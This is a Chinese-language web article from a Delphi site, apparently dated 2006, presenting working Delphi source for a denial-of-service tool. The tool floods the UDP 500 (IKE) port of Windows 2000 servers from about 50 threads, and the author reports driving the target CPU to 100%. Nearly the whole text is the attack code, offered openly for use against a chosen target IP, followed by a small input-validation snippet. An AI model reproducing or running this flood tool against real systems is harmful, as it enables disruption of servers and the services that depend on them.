udp 500 D.O.S攻击

王朝delphi·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

前些日子,看见有文章说win2000服务器的500端口对flood攻击防御不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,win2000服务器的cpu率一下子达到了100%,而且反应立刻迟钝下来.

程序如下:

线程程序://线程的执行代码,创建线程请用菜单new一个TheadObject

uses winsock;

procedure udpdos.Execute;

var

wsa:TWSAData;

s: TSocket;

sockin: TSockAddrIn;

buf:array[0..1023] of byte;

i: integer;

DIP:string;

begin

{ Place thread code here }

//win2000下利用ike(udp 500)的DOS攻击

//by 杨顺

FreeOnTerminate := true;

//destIP是主Form里面上,就是要攻击的对象,在主Form里面申明一个这样的变量就可以了

DIP := DestIP;

//填充buf

for i := 0 to 1023 do

buf[i] := 97;

//初始化socket2

WSAStartup($101,wsa);

//创建udp socket

s := socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);

sockin.sin_family := AF_INET;

sockin.sin_port := htons(IKE);

sockin.sin_addr.S_addr := inet_addr(pchar(DIP));

while true do

begin

if self.Terminated then

break;

//发送数据报

sendto(s,buf,1024,0,sockin,sizeof(sockin));

end;

closesocket(s);

WSACleanup;

end;

主form里面,调用

for i := 0 to 50 do

begin

udpdos.Create(false); //创建50多个线程,进行攻击

end;

顺便提一下,坚持用户输入的ip是否合法,一句话就可以了

uses winsock

if inet_addr(pchar(DestIP)) = inaddr_none then

begin

showmessage('输入的IP地址错误');

exit;

end;

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航